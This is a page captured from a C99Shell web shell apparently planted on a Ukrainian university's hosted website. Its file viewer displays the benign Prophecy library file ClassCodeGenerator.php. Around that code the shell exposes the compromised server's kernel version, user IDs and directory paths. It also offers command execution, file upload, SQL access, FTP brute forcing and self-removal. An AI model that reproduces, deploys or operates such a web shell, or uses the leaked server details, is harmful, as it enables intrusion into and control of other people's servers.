!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/   drwxr-xr-x
Free 117.27 GB of 200.55 GB (58.47%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ClassCodeGenerator.php (3.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Prophecy.
 * (c) Konstantin Kudryashov <ever.zet@gmail.com>
 *     Marcello Duarte <marcello.duarte@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Prophecy\Doubler\Generator;

/**
 * Class code creator.
 * Generates PHP code for specific class node tree.
 *
 * @author Konstantin Kudryashov <ever.zet@gmail.com>
 */
class ClassCodeGenerator
{
    
/**
     * Generates PHP code for class node.
     *
     * @param string         $classname
     * @param Node\ClassNode $class
     *
     * @return string
     */
    
public function generate($classnameNode\ClassNode $class)
    {
        
$parts     explode('\\'$classname);
        
$classname array_pop($parts);
        
$namespace implode('\\'$parts);

        
$code sprintf("class %s extends \%s implements %s {\n",
            
$classname$class->getParentClass(), implode(', ',
                
array_map(function ($interface) {return '\\'.$interface;}, $class->getInterfaces())
            )
        );

        foreach (
$class->getProperties() as $name => $visibility) {
            
$code .= sprintf("%s \$%s;\n"$visibility$name);
        }
        
$code .= "\n";

        foreach (
$class->getMethods() as $method) {
            
$code .= $this->generateMethod($method)."\n";
        }
        
$code .= "\n}";

        return 
sprintf("namespace %s {\n%s\n}"$namespace$code);
    }

    private function 
generateMethod(Node\MethodNode $method)
    {
        
$php sprintf("%s %s function %s%s(%s)%s {\n",
            
$method->getVisibility(),
            
$method->isStatic() ? 'static' '',
            
$method->returnsReference() ? '&':'',
            
$method->getName(),
            
implode(', '$this->generateArguments($method->getArguments())),
            
version_compare(PHP_VERSION'7.0''>=') && $method->hasReturnType()
                ? 
sprintf(': %s'$method->getReturnType())
                : 
''
        
);
        
$php .= $method->getCode()."\n";

        return 
$php.'}';
    }

    private function 
generateArguments(array $arguments)
    {
        return 
array_map(function (Node\ArgumentNode $argument) {
            
$php '';

            if (
$hint $argument->getTypeHint()) {
                switch (
$hint) {
                    case 
'array':
                    case 
'callable':
                        
$php .= $hint;
                        break;

                    case 
'string':
                    case 
'int':
                    case 
'float':
                    case 
'bool':
                        if (
version_compare(PHP_VERSION'7.0''>=')) {
                            
$php .= $hint;
                            break;
                        }
                        
// Fall-through to default case for PHP 5.x

                    
default:
                        
$php .= '\\'.$hint;
                }
            }

            
$php .= ' '.($argument->isPassedByReference() ? '&' '');

            
$php .= $argument->isVariadic() ? '...' '';

            
$php .= '$'.$argument->getName();

            if (
$argument->isOptional() && !$argument->isVariadic()) {
                
$php .= ' = '.var_export($argument->getDefault(), true);
            }

            return 
$php;
        }, 
$arguments);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.016 ]--